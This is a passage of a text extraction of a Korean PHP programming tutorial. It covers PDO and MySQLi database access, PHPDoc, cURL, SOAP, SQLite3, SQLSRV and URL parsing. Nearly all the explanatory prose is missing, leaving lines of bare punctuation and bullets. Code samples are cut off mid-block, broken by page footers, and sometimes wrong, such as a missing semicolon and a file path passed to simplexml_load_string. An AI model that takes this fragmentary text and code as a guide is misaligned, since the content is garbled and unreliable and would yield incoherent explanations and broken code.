// If we got here our two data updates are not in the database
}
throw $e;
}
. SELECT .
: . . .
PDO
$preparedStatement->execute([
'name' => $name,
'address' => $address,
'telephone' => $telephone,
'created_at' => time(),
]);
https://riptutorial.com/ko/home 45
$count = 0;
foreach ( $products as $productId => $quantity ) {
$insertProductsQuery .= ' (:order_id' . $count . ', :product_id' . $count . ', :quantity'
. $count . ')';
++$count;
}
. .
// In this example we are using MySQL but this applies to any database that has support for
transactions
$db = new PDO('mysql:host=' . $host . ';dbname=' . $dbname . ';charset=utf8', $username,
$password);
// Make sure that PDO will throw an exception in case of error to make error handling easier
$db->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
try {
// From this point and until the transaction is being committed every change to the
database can be reverted
$db->beginTransaction();
$preparedStatement->execute([
'name' => $name,
'address' => $address,
'telephone' => $telephone,
'created_at' => time(),
]);
$count = 0;
foreach ( $products as $productId => $quantity ) {
$insertProductsQuery .= ' (:order_id' . $count . ', :product_id' . $count . ',
:quantity' . $count . ')';
https://riptutorial.com/ko/home 46
$insertProductsParams['order_id' . $count] = $orderId;
$insertProductsParams['product_id' . $count] = $productId;
$insertProductsParams['quantity' . $count] = $quantity;
++$count;
}
PDO :
PDO :: lastInsertId ()
ID . lastInsertId () .
https://riptutorial.com/ko/home 47
$database = 'foo';
$user = 'root'
$password = '';
$dsn = "pgsql:host=$host;dbname=$database;charset=utf8";
$pdo = new PDO($dsn, $user, $password);
PDO : https://riptutorial.com/ko/php/topic/5828/pdo
https://riptutorial.com/ko/home 48
12: PHP MySQLi
mysqli 5.5 7.0 mysql ( "MySQL " ). MySQL mysqli MySQL 4.1.3 . mysqli PHP 5 .
mysqli .
•
• Prepared Statements
•
•
•
•
Examples
MySQLi
: $conn->select_db("my_db");
$conn = mysqli_connect("localhost","my_user","my_password");
: mysqli_select_db($conn, "my_db");
$conn = mysqli_connect("localhost","my_user","my_password","my_db");
if ($conn->connect_errno > 0) {
trigger_error($db->connect_error);
} // else: successfully connected
if (!$conn) {
trigger_error(mysqli_connect_error());
} // else: successfully connected
MySQLi
https://riptutorial.com/ko/home 49
$result = $conn->query("SELECT * FROM `people`");
PHP : fetch_assoc ()
. .
PHP .
mysqli_fetch_array () 1 mysqli_result , .
MySQLi
• mysqli_fetch_assoc -
• mysqli_fetch_object - stdClass
• mysqli_fetch_array - AND ( )
• mysqli_fetch_row -
while($row = $result->fetch_assoc()) {
var_dump($row);
}
while($row = mysqli_fetch_assoc($result)) {
var_dump($row);
}
https://riptutorial.com/ko/home 50
.
$conn->close();
mysqli_close($conn);
: .
: . MySQL .
MySQLi
$sql
if ($stmt = $conn->prepare($sql)) {
$stmt->bind_param("si", $column_2_value, $column_3_value);
$stmt->execute();
$stmt->bind_result($column_1);
$stmt->fetch();
//Now use variable $column_1 one as if it were any other PHP variable
$stmt->close();
}
https://riptutorial.com/ko/home 51
. si ( column_2 = ? ) string ( column_3 > ? ) .
$escaped = $conn->real_escape_string($_GET['var']);
// OR
$escaped = mysqli_real_escape_string($conn, $_GET['var']);
MySQL
? MySQL . .
MySQLi ID
AUTO_INCREMENT INSERT ID .
$id = $conn->insert_id;
$id = mysqli_insert_id($conn);
AUTO_INCREMENT 0.
ID
https://riptutorial.com/ko/home 52
Records: 2 Duplicates: 0 Warnings: 0
+----+--------+------+
| id | name | misc |
+----+--------+------+
| 1 | Leslie | 123 |
| 2 | Sally | 456 |
+----+--------+------+
MySQLi SQL
( MySQLi $conn )
trigger_error($conn->error);
trigger_error(mysqli_error($conn));
https://riptutorial.com/ko/home 53
.
'my_db.non_existent_table' .
$stmt->bind_result($forename);
mysqli_stmt_bind_result($stmt, $forename);
forename $forename . . .
while ($stmt->fetch())
echo "$forename<br />";
while (mysqli_stmt_fetch($stmt))
echo "$forename<br />";
$result = $stmt->get_result();
$result = mysqli_stmt_get_result($stmt);
mysqli_result . mysqli_query ., .
get_result . .
https://riptutorial.com/ko/home 54
{
$params[] = &$result[$i][$field->name];
}
call_user_func_array(array($statement, 'bind_result'), $params);
$statement->fetch();
}
return $result;
}
mysqli_fetch_assoc() .
<?php
$query = $mysqli->prepare("SELECT * FROM users WHERE forename LIKE ?");
$condition = "J%";
$query->bind_param("s", $condition);
$query->execute();
$result = get_result($query);
mysqlnd mysqlnd . . .
https://riptutorial.com/ko/home 55
13: PHP mysqli 0.
(IoT) . new_devices . affected_rows <1 .
$ stmt-> affected_rows 0 1 1, 0, 2, 2, 0, 3, 3, 3, 3, 3, 3 . , 0, 4, 0, 0, 6, 6, 6
.?
Examples
PHP $ stmt-> affected_rows 0.
<?php
// if device exists, update timestamp
$stmt = $mysqli->prepare("UPDATE new_devices SET nd_timestamp=? WHERE nd_deviceid=?");
$stmt->bind_param('ss', $now, $device);
$stmt->execute();
//echo "Affected Rows: ".$stmt->affected_rows; // This line is where I am checking the
status of the update query.
https://riptutorial.com/ko/home 56
14: PHP
xamp, wamp .
- PHP .
<>
<?php
// router.php
if (preg_match('/\.(?:png|jpg|jpeg|gif)$/', $_SERVER["REQUEST_URI"])) {
return false; // serve the requested resource as-is.
} //the rest of you code goes here.
Examples
php -S localhost:80
80 localhost PHP .
-S .
localhost : 80 . .
• mymachine : 80 - mymachine 80 .
• 127.0.0.1:8080 - 127.0.0.1 8080 .
PHP : https://riptutorial.com/ko/php/topic/10782/php--
https://riptutorial.com/ko/home 57
15: PHP
PHP Manual PHP . PHP PHP . , PHP .
PHP . , , , .
Examples
PHP http://php.net/manual/ . PHP , . . PHP Manual .
PHP Manual Doc Karma PHP Documentation Team . (Doc Karma) . PHP .
PHP :
• . .
• . . .
• . .
• . .
• . . .
• PHP 4 . PHP 4 . .
• . ID <!-- $Revision$ --> .
• . . .
• . PHP .
PHP : https://riptutorial.com/ko/php/topic/2003/php--
https://riptutorial.com/ko/home 58
16: PHP
PHP . PHP .
•
•
. PHP .
PHP . . PHP .
PHP 2 . RFC . 1 .
RFC .
• 6
• RFC RFC .
, . .
RFC .
PHP ( ). , .
Examples
PHP GitHub . .
mkdir /usr/local/src/php-7.0/
cd /usr/local/src/php-7.0/
git clone -b PHP-7.0 https://github.com/php/php-src .
https://riptutorial.com/ko/home 59
PHP .
./buildconf
./configure
make
make test
make install
( : yum , apt ) .
PHP : https://riptutorial.com/ko/php/topic/3929/php--
https://riptutorial.com/ko/home 60
17: PHPDoc
• @api
• @author [] [< >]
• @copyright <description>
• @deprecated [< "Semantic Version">] [: < "Semantic Version">] [<description>]
• @example [URI] [<description>]
• {@example [URI] [: <start> .. <end>]}
• @inheritDoc
• @
• {@ []}}
• @license [<SPDX > | URI] []
• @method [return "Type"] [name] ([ "Type"] [ ], [...]) []
• @ [ 1] \ [ 2] \ []
• @param [ "Type"] [name] [<description>]
• @property [ "Type"] [name] [<description>]
• @return < "Type"> [description]
• @see [URI | "FQSEN"] [<description>]
• @since [< "" ">] [<description>]
• @throws [ "Type"] [<description>]
• @ []
• @uses [ | "FQSEN"] [<description>]
• @var [ "Type"] [element_name] [<description>]
• @version [ "Semantic Version"] [<description>]
• @filesource - phpDocumentor .
• @link [URI] [<description>] - .
PHPDoc DocBlocks .
/**
*
*/
PHP-FIG GitHub .
Examples
IDE .
/**
https://riptutorial.com/ko/home 61
* Adds two numbers together.
*
* @param Int $a First parameter to add
* @param Int $b Second parameter to add
* @return Int
*/
function sum($a, $b)
{
return (int) $a + $b;
}
/**
* Don't run me! I will always raise an exception.
*
* @throws Exception Always
*/
function dangerousCode()
{
throw new Exception('Ouch, that was dangerous!');
}
/**
* Old structures should be deprecated so people know not to use them.
*
* @deprecated
*/
function oldCode()
{
mysql_connect(/* ... */);
}
<?php
/**
* @author John Doe ([email protected])
* @copyright MIT
*/
@inheritDoc . .
https://riptutorial.com/ko/home 62
{
return $a + $b;
}
}
@var .
•
•
•
class Example {
/** @var string This is something that stays the same */
const UNCHANGING = "Untouchable";
/**
* @var array $stuff This is a collection of stuff
* @var array $nonsense These are nonsense
*/
private $stuff, $nonsense;
...
}
PHP .
docblock .
/**
* Parameters
*
* @param int $int
* @param string $string
* @param array $array
* @param bool $bool
*/
function demo_param($int, $string, $array, $bool)
{
}
/**
* Parameters - Optional / Defaults
*
* @param int $int
* @param string $string
* @param array $array
* @param bool $bool
*/
function demo_param_optional($int = 5, $string = 'foo', $array = [], $bool = false)
{
}
/**
* Parameters - Arrays
*
https://riptutorial.com/ko/home 63
* @param array $mixed
* @param int[] $integers
* @param string[] $strings
* @param bool[] $bools
* @param string[]|int[] $strings_or_integers
*/
function demo_param_arrays($mixed,$integers, $strings, $bools, $strings_or_integers)
{
}
/**
* Parameters - Complex
* @param array $config
* <pre>
* $params = [
* 'hostname' => (string) DB hostname. Required.
* 'database' => (string) DB name. Required.
* 'username' => (string) DB username. Required.
* ]
* </pre>
*/
function demo_param_complex($config)
{
}
PSR-5 .
Type[]
Type<Type>
Type<Type[, Type]...>
Type<Type[|Type]...>
Collection Collection .
Type<Type<Type>>
Type<Type<Type[, Type]...>>
Type<Type<Type[|Type]...>>
<?php
/**
* @var ArrayObject<string> $name
*/
$name = new ArrayObject(['a', 'b']);
/**
* @var ArrayObject<int> $name
*/
$name = new ArrayObject([1, 2]);
/**
* @var ArrayObject<stdClass> $name
*/
$name = new ArrayObject([
https://riptutorial.com/ko/home 64
new stdClass(),
new stdClass()
]);
/**
* @var ArrayObject<string|int|stdClass|bool> $name
*/
$name = new ArrayObject([
'a',
true,
1,
'b',
new stdClass(),
'c',
2
]);
/**
* @var ArrayObject<ArrayObject<int>> $name
*/
$name = new ArrayObject([
new ArrayObject([1, 2]),
new ArrayObject([1, 2])
]);
/**
* @var ArrayObject<int, string> $name
*/
$name = new ArrayObject([
1 => 'a',
2 => 'b'
]);
/**
* @var ArrayObject<string, int> $name
*/
$name = new ArrayObject([
'a' => 1,
'b' => 2
]);
/**
* @var ArrayObject<string, stdClass> $name
*/
$name = new ArrayObject([
'a' => new stdClass(),
'b' => new stdClass()
]);
PHPDoc : https://riptutorial.com/ko/php/topic/1881/phpdoc
https://riptutorial.com/ko/home 65
18: PHP PDF
Examples
PDFlib
PDFlib .
<?php
$pdf = pdf_new(); //initialize new object
$length = strlen($document); $filename = "HelloWorld.pdf"; //Finds PDF length and assigns file
name
header("Content-Type:application/pdf");
header("Content-Length:" . $length);
header("Content-Disposition:inline; filename=" . $filename);
https://riptutorial.com/ko/home 66
19: PHP Redis
Examples
PHP Redis
PHP Redis :
PHP :
Apache .
Redis
localhost Redis .
PHP Redis
https://riptutorial.com/ko/home 67
20: PHP cURL
• curl_init ([string $ url = NULL])
• bool curl_setopt ( $ ch, int $ , $ )
• bool curl_setopt_array ( $ ch, $ options)
• mixed curl_exec ( $ ch)
• void curl_close ( $ ch)
curl_init - cURL
curl_setopt - cURL
ch cURL ( curl_init () )
CURLOPT_XXX - PHP .
cURL .
curl_exec - cURL
ch cURL ( curl_init () )
curl_close - cURL
ch cURL ( curl_init () )
Examples
(GET )
https://riptutorial.com/ko/home 68
// execute and pass the result to browser
curl_exec($curl);
POST
multi_curl POST
POST . multi_curl .
, .
curl_multi_init .
https://riptutorial.com/ko/home 69
'b' => 'shrimp'
];
//set the urls
$urls[] = 'http://www.example.com';
$urls[] = 'http://www.example2.com';
curl_multi_add_handle($mh, $chs[$key]);
}
curl_multi_exec .
curl_multi_remove_handle($mh, $chs[$key]);
}
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
https://riptutorial.com/ko/home 70
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, $method);
$content = curl_exec($ch);
curl_close($ch);
cURL . .
cURL .
cURL . CURLOPT_COOKIEFILE .
. 2 . POST.
<?php
( ) GET . cURL . .
https://riptutorial.com/ko/home 71
# change the method back to GET
curl_setopt($ch, CURLOPT_HTTPGET, true);
CurlFile
. AJAX .
, dropzone .
// print_r($_POST)
Array
(
[first_name] => John
https://riptutorial.com/ko/home 72
[last_name] => Doe
[activities] => Array
(
[0] => soccer
[1] => hiking
)
)
// print_r($_FILES)
Array
(
[upload] => Array
(
[name] => Array
(
[0] => my_photo.jpg
[1] => my_life.pdf
)
. CurlFile cURL .
cURL $ _POST .
// print_r($new_post_array)
https://riptutorial.com/ko/home 73
Array
(
[first_name] => John
[last_name] => Doe
[activities[0]] => soccer
[activities[1]] => hiking
)
CurlFile . :
$files = array();
$files["upload[$key]"] = curl_file_create(
$_FILES['upload']['tmp_name'][$key],
$_FILES['upload']['type'][$key],
$_FILES['upload']['name'][$key]
);
}
}
$ data .
cURL .
$ch = curl_init();
curl_setopt_array($ch, array(
CURLOPT_POST => 1,
CURLOPT_URL => "https://api.externalserver.com/upload.php",
CURLOPT_RETURNTRANSFER => 1,
CURLINFO_HEADER_OUT => 1,
CURLOPT_POSTFIELDS => $data
));
$result = curl_exec($ch);
curl_close ($ch);
$uri = 'http://localhost/http.php';
$ch = curl_init($uri);
curl_setopt_array($ch, array(
CURLOPT_HTTPHEADER => array('X-User: admin', 'X-Authorization: 123456'),
https://riptutorial.com/ko/home 74
CURLOPT_RETURNTRANSFER =>true,
CURLOPT_VERBOSE => 1
));
$out = curl_exec($ch);
curl_close($ch);
// echo response output
echo $out;
print_r(apache_request_headers());
OutPut : -
Array
(
[Host] => localhost
[Accept] => */*
[X-User] => admin
[X-Authorization] => 123456
[Content-Length] => 9
[Content-Type] => application/x-www-form-urlencoded
)
https://riptutorial.com/ko/home 75
21: PHP YAML
Examples
YAML
Windows . DLL .
YAML
YAML . - .
YAML .
database:
driver: mysql
host: database.mydomain.com
port: 3306
db_name: sample_db
user: myuser
password: Passw0rd
debug: true
country: us
config.yaml . PHP .
$config = yaml_parse_file('config.yaml');
print_r($config);
print_r :
Array
(
[database] => Array
(
[driver] => mysql
[host] => database.mydomain.com
[port] => 3306
[db_name] => sample_db
[user] => myuser
[password] => Passw0rd
)
[debug] => 1
https://riptutorial.com/ko/home 76
[country] => us
)
$dbConfig = $config['database'];
$connectString = $dbConfig['driver']
. ":host={$dbConfig['host']}"
. ":port={$dbConfig['port']}"
. ":dbname={$dbConfig['db_name']}"
. ":user={$dbConfig['user']}"
. ":password={$dbConfig['password']}";
$dbConnection = new \PDO($connectString, $dbConfig['user'], $dbConfig['password']);
https://riptutorial.com/ko/home 77
22: PHP
Examples
PHP "\ uxxxx"
if (!function_exists('codepoint_encode')) {
function codepoint_encode($str) {
return substr(json_encode($str), 1, -1);
}
}
if (!function_exists('codepoint_decode')) {
function codepoint_decode($str) {
return json_decode(sprintf('"%s"', $str));
}
}
PHP / HTML
if (!function_exists('mb_internal_encoding')) {
function mb_internal_encoding($encoding = NULL) {
return ($from_encoding === NULL) ? iconv_get_encoding() :
iconv_set_encoding($encoding);
}
}
if (!function_exists('mb_convert_encoding')) {
function mb_convert_encoding($str, $to_encoding, $from_encoding = NULL) {
return iconv(($from_encoding === NULL) ? mb_internal_encoding() : $from_encoding,
$to_encoding, $str);
}
}
https://riptutorial.com/ko/home 78
if (!function_exists('mb_chr')) {
function mb_chr($ord, $encoding = 'UTF-8') {
if ($encoding === 'UCS-4BE') {
return pack("N", $ord);
} else {
return mb_convert_encoding(mb_chr($ord, 'UCS-4BE'), $encoding, 'UCS-4BE');
}
}
}
if (!function_exists('mb_ord')) {
function mb_ord($char, $encoding = 'UTF-8') {
if ($encoding === 'UCS-4BE') {
list(, $ord) = (strlen($char) === 4) ? @unpack('N', $char) : @unpack('n', $char);
return $ord;
} else {
return mb_ord(mb_convert_encoding($char, 'UCS-4BE', $encoding), 'UCS-4BE');
}
}
}
if (!function_exists('mb_htmlentities')) {
function mb_htmlentities($string, $hex = true, $encoding = 'UTF-8') {
return preg_replace_callback('/[\x{80}-\x{10FFFF}]/u', function ($match) use ($hex) {
return sprintf($hex ? '&#x%X;' : '&#%d;', mb_ord($match[0]));
}, $string);
}
}
if (!function_exists('mb_html_entity_decode')) {
function mb_html_entity_decode($string, $flags = null, $encoding = 'UTF-8') {
return html_entity_decode($string, ($flags === NULL) ? ENT_COMPAT | ENT_HTML401 :
$flags, $encoding);
}
}
https://riptutorial.com/ko/home 79
echo "\nEncode / decode to HEX based HTML entities\n";
var_dump(mb_htmlentities('tchüß'));
var_dump(mb_html_entity_decode('tchüß'));
Intl
ICU . .
. .
PHP : https://riptutorial.com/ko/php/topic/4472/php---
https://riptutorial.com/ko/home 80
23: PSR
PSR (PHP Standards Recommendation) FIG (Framework Interop Group) .
PSR :,, .
Examples
PSR-4 :
PSR-4 . ( ) PSR-0 .
\<NamespaceName>(\<SubNamespaceNames>)*\<ClassName>
• ( : Alphabet )
• ( : Google\AdWord ) .
• ( : KeywordPlanner )
Alphabet\Google\AdWord\KeywordPlanner . Alphabet\Google\AdWord\KeywordPlanner
[path_to_source]/Alphabet/Google/AdWord/KeywordPlanner.php
PHP 5.3.0 .
PSR-4 . , .
$ composer dump-autoload
<?php
https://riptutorial.com/ko/home 81
require __DIR__ . '/vendor/autoload.php';
$KeywordPlanner = new Alphabet\Google\AdWord\KeywordPlanner();
PSR-1 :
PSR-1 .
• , .
• PSR-0 PSR-4 .
• PHP . <?php <?= <? .
• (UTF8) .
• (, , ) .
PSR-8 :
Huggable .
<?php
namespace Psr\Hug;
/**
* Defines a huggable object.
*
* A huggable object expresses mutual affection with another huggable object.
*/
interface Huggable
{
/**
* Hugs this object.
*
* All hugs are mutual. An object that is hugged MUST in turn hug the other
* object back by calling hug() on the first parameter. All objects MUST
* implement a mechanism to prevent an infinite loop of hugging.
*
* @param Huggable $h
* The object that is hugging this object.
*/
public function hug(Huggable $h);
}
PSR : https://riptutorial.com/ko/php/topic/10874/psr
https://riptutorial.com/ko/home 82
24: SimpleXML
Examples
XML simplexml
simplexml_load_string SimpleXMLElement .
. or || or = . $xml false or .
$xml = simplexml_load_string("filePath.xml");
$xml = simplexml_load_string("https://example.com/doc.xml");
URL PHP .
SimpleXML : https://riptutorial.com/ko/php/topic/7820/simplexml
https://riptutorial.com/ko/home 83
25: SOAP
• addFunction () // SOAP .
• addSoapHeader () // SOAP .
• fault () // SoapServer .
• getFunctions () // .
• handle () // SOAP .
• setClass () // SOAP .
• setObject () // SOAP .
• setPersistence () // SoapServer .
Examples
SOAP
function test($x)
{
return $x;
}
SOAP : https://riptutorial.com/ko/php/topic/5441/soap-
https://riptutorial.com/ko/home 84
26: SOAP
• __getFunctions () // (WSDL ).
• __getTypes () // (WSDL ).
• __getLastRequest () // XML ( trace ).
• __getLastRequestHeaders () // ( trace ).
• __getLastResponse () // XML ( trace ).
• __getLastResponseHeaders () // ( trace ).
SoapClient __call . . .
$options ( / ):
SOAP . WSDL .
HTTP
HTTP
proxy_host URL
proxy_port
proxy_login
proxy_password
https://riptutorial.com/ko/home 85
local_cert HTTPS ()
HTTPS
(TODO : )
SOAP ( 'SoapFault').
SOAP ().
User-Agent .
stream_context .
SOAP_SINGLE_ELEMENT_ARRAYS , SOAP_USE_XSI_ARRAY_TYPE ,
SOAP_WAIT_ONE_WAY_CALLS .
Examples
WSDL
https://riptutorial.com/ko/home 86
'cache_wsdl' => WSDL_CACHE_BOTH,
# Helps with debugging
'trace' => TRUE,
'exceptions' => TRUE
]);
$soap SOAP .
WSDL
class MyAddress {
public $country;
public $city;
public $full_name;
public $postal_code; // or zip_code
public $house_number;
}
class MyBook {
public $name;
public $author;
https://riptutorial.com/ko/home 87
// Lets assume the same for 'getBook(1234)'
$book = $soap_client->getBook(124);
// Any type defined in the WSDL that is not defined in the classmap
// will become a regular StdClass object
$author = $soap_client->getAuthor(1234);
SOAP
SOAP . XML .
SoapClient::__getLastRequest()
SoapClient::__getLastRequestHeaders()
SoapClient::__getLastResponse()
SoapClient::__getLastResponseHeaders()
try {
$address = $soap_client->getAddress(1234);
} catch (SoapFault $e) {
if (ENVIRONMENT === 'DEVELOPMENT') {
var_dump(
$soap_client->__getLastRequestHeaders()
$soap_client->__getLastRequest(),
$soap_client->__getLastResponseHeaders(),
$soap_client->__getLastResponse()
);
}
...
}
SOAP : https://riptutorial.com/ko/php/topic/633/soap-
https://riptutorial.com/ko/home 88
27: SPL
Examples
SplFixedArray
PHP
PHP . / . .
PHP / . . .
$arr = [
https://riptutorial.com/ko/home 89
9 => "foo",
1 => 4.2,
"bar" => null,
];
9 => foo
1 => 4.2
bar =>
PHP . .
. . .
SplFixedArray . . .
SplFixedArrays PHP . .
https://riptutorial.com/ko/home 90
SplFixedArray .
$arr[0] = "foo";
$arr[1] = "bar";
$arr[2] = "baz";
0 => foo
1 => bar
2 => baz
3 =>
var_dump(count($arr));
...
int(4)
SplFixedArray PHP , . .
setSize .
$arr->setSize(3);
var_dump(count($arr));
...
int(3)
0 => foo
1 =>
2 => baz
SplFixedArray SplFixedArray
https://riptutorial.com/ko/home 91
fromArray toArray PHP Array SplFixedArray .
$array = [1,2,3,4,5];
$fixedArray = SplFixedArray::fromArray($array);
foreach($fixedArray as $value) {
echo $value, "\n";
}
1
2
3
4
5
$fixedArray[0] = 1;
$fixedArray[1] = 2;
$fixedArray[2] = 3;
$fixedArray[3] = 4;
$fixedArray[4] = 5;
$array = $fixedArray->toArray();
foreach($array as $value) {
echo $value, "\n";
}
1
2
3
4
5
SPL : https://riptutorial.com/ko/php/topic/6844/spl--
https://riptutorial.com/ko/home 92
28: SQLite3
Examples
<?php
//Create a new SQLite3 object from a database file on the server.
$database = new SQLite3('mysqlitedb.db');
//Iterate through all of the results, var_dumping them onto the page
while ($row = $results->fetchArray()) {
var_dump($row);
}
?>
http://www.riptinar.com/topic/184 .
<?php
$database = new SQLite3('mysqlitedb.db');
//Without the optional second parameter set to true, this query would return just
//the first column of the first row of results and be of the same type as columnName
$database->querySingle('SELECT column1Name FROM table WHERE column2Name=1');
//With the optional entire_row parameter, this query would return an array of the
//entire first row of query results.
$database->querySingle('SELECT column1Name, column2Name FROM user WHERE column3Name=1', true);
?>
SQLite3
/
. / . .sqlite , .sqlite .
https://riptutorial.com/ko/home 93
)');
.
( BEGIN COMMIT ) . SQLite . SQLite INSERT .
$db->exec('BEGIN');
$db->query('INSERT INTO "visits" ("user_id", "url", "time")
VALUES (42, "/test", "2017-01-14 10:11:23")');
$db->query('INSERT INTO "visits" ("user_id", "url", "time")
VALUES (42, "/test2", "2017-01-14 10:11:44")');
$db->exec('COMMIT');
. .
# 42 . .
$statement = $db->prepare('SELECT * FROM "visits" WHERE "user_id" = ? AND "time" >= ?');
$statement->bindValue(1, 42);
$statement->bindValue(2, '2017-01-14');
$result = $statement->execute();
- .
$result->finalize();
. .
, . SINGLE ! (MySQL ).
https://riptutorial.com/ko/home 94
SQLite3::escapeString('/test') .
'\' ORDER BY "id" DESC LIMIT 1';
. .
$db->close();
SQLite3 : https://riptutorial.com/ko/php/topic/5898/sqlite3
https://riptutorial.com/ko/home 95
29: SQLSRV
SQLSRV Microsoft SQL Server SQL Azure Microsoft PHP . PHP 5.3 PHP 7 MSSQL .
SQLSRV .
• Windows Vista 2
• Windows Server 2008 2
• Windows Server 2008 R2
• 7
SQLSRV PHP Microsoft SQL Server 2012 Native Client . Microsoft SQL Server 2012 Native
Client " " .
SQLSRV .
SQLSRV .
PHP7 GitHub .
SQL Server Microsoft® ODBC 13 Microsoft SQL Server 2008, SQL Server 2008 R2, SQL
Server 2012, SQL Server 2014, SQL Server 2016 (), Analytics , Azure SQL Azure SQL .
Examples
$dbServer = "localhost,1234"; //Name of the server/instance, including optional port number
(default is 1433)
$dbName = "db001"; //Name of the database
$dbUser = "user"; //Name of the user
$dbPassword = "password"; //DB Password of that user
$connectionInfo = array(
"Database" => $dbName,
"UID" => $dbUser,
"PWD" => $dbPassword
);
//Create Connection
$conn = sqlsrv_connect($dbServer, $connectionInfo);
https://riptutorial.com/ko/home 96
$query = "SELECT * FROM [table]";
$stmt = sqlsrv_query($conn, $query);
: [] table . ` MySQL .
$params = array(
array($name, SQLSRV_PARAM_IN),
array($age, SQLSRV_PARAM_IN),
array($count, SQLSRV_PARAM_OUT, SQLSRV_PHPTYPE_INT) //$count must already be initialised
);
sqlsrv_prepare() sqlsrv_execute() .
$cart = array(
"apple" => 3,
"banana" => 1,
"chocolate" => 2
);
sqlsrv_fetch_array ()
sqlsrv_fetch_array() .
while($row = sqlsrv_fetch_array($stmt)) {
echo $row[0];
$var = $row["name"];
https://riptutorial.com/ko/home 97
//...
}
sqlsrv_fetch_object ()
sqlsrv_fetch_object() .
while($obj = sqlsrv_fetch_object($stmt)) {
echo $obj->field; // Object property names are the names of the fields from the query
//...
}
sqlsrv_fetch ()
sqlsrv_fetch() .
. .
sqlsrv_errors([int $errorsOrWarnings]);
SQL Server
https://riptutorial.com/ko/home 98
echo "code: ".$error['code']."<br />";
echo "message: ".$error['message']."<br />";
}
}
}
SQLSRV : https://riptutorial.com/ko/php/topic/4467/sqlsrv-
https://riptutorial.com/ko/home 99
30: URL
Examples
URL
URL parse_url() .
$url = 'http://www.example.com/page?foo=1&bar=baz#anchor';
$parts = parse_url($url);
, $parts .
Array
(
[scheme] => http
[host] => www.example.com
[path] => /page
[query] => foo=1&bar=baz
[fragment] => anchor
)
URL . querystring .
$url = 'http://www.example.com/page?foo=1&bar=baz#anchor';
$queryString = parse_url($url, PHP_URL_QUERY);
parse_str() .
$params = [];
parse_str($queryString, $params);
$params .
Array
(
[foo] => 1
[bar] => baz
)
URL
header() URL .
$url = 'https://example.org/foo/bar';
https://riptutorial.com/ko/home 100
if (!headers_sent()) { // check headers - you can not send headers if they already sent
header('Location: ' . $url);
exit; // protects from code being executed after redirect request
} else {
throw new Exception('Cannot redirect, headers already sent');
}
URL ( HTTP ).
$url = 'foo/bar';
if (!headers_sent()) {
header('Location: ' . $url);
exit;
} else {
throw new Exception('Cannot redirect, headers already sent');
}
: HTML , . . .
$url = 'https://example.org/foo/bar';
if (!headers_sent()) {
header('Location: ' . $url);
} else {
$saveUrl = htmlspecialchars($url); // protects from browser seeing url as HTML
// tells browser to redirect page to $saveUrl after 0 seconds
print '<meta http-equiv="refresh" content="0; url=' . $saveUrl . '">';
// shows link for user
print '<p>Please continue to <a href="' . $saveUrl . '">' . $saveUrl . '</a></p>';
}
exit;
URL
$parameters = array(
'parameter1' => 'foo',
'parameter2' => 'bar',
);
$queryString = http_build_query($parameters);
$queryString .
parameter1=foo¶meter2=bar
http_build_query() .
$parameters = array(
https://riptutorial.com/ko/home 101
"parameter3" => array(
"sub1" => "foo",
"sub2" => "bar",
),
"parameter4" => "baz",
);
$queryString = http_build_query($parameters);
$queryString .
parameter3%5Bsub1%5D=foo¶meter3%5Bsub2%5D=bar¶meter4=baz
URL
parameter3[sub1]=foo¶meter3[sub2]=bar¶meter4=baz
URL : https://riptutorial.com/ko/php/topic/1800/url
https://riptutorial.com/ko/home 102
31: URL
PHP URL . . .
Examples
parse_url ()
$url = parse_url('http://example.com/project/controller/action/param1/param2');
Array
(
[scheme] => http
[host] => example.com
[path] => /project/controller/action/param1/param2
)
$url = parse_url('http://example.com/project/controller/action/param1/param2');
$url['sections'] = explode('/', $url['path']);
Array
(
[scheme] => http
[host] => example.com
[path] => /project/controller/action/param1/param2
[sections] => Array
(
[0] =>
[1] => project
[2] => controller
[3] => action
[4] => param1
[5] => param2
)
end () .
$last = end($url['sections']);
$url = parse_url('http://example.com?var1=value1&var2=value2');
Array
(
[scheme] => http
https://riptutorial.com/ko/home 103
[host] => example.com
[query] => var1=value1&var2=value2
)
vars parse_str () .
$url = parse_url('http://example.com?var1=value1&var2=value2');
parse_str($url['query'], $parts);
Array
(
[var1] => value1
[var2] => value2
)
explode ()
explode () : . .
$url = "http://example.com/project/controller/action/param1/param2";
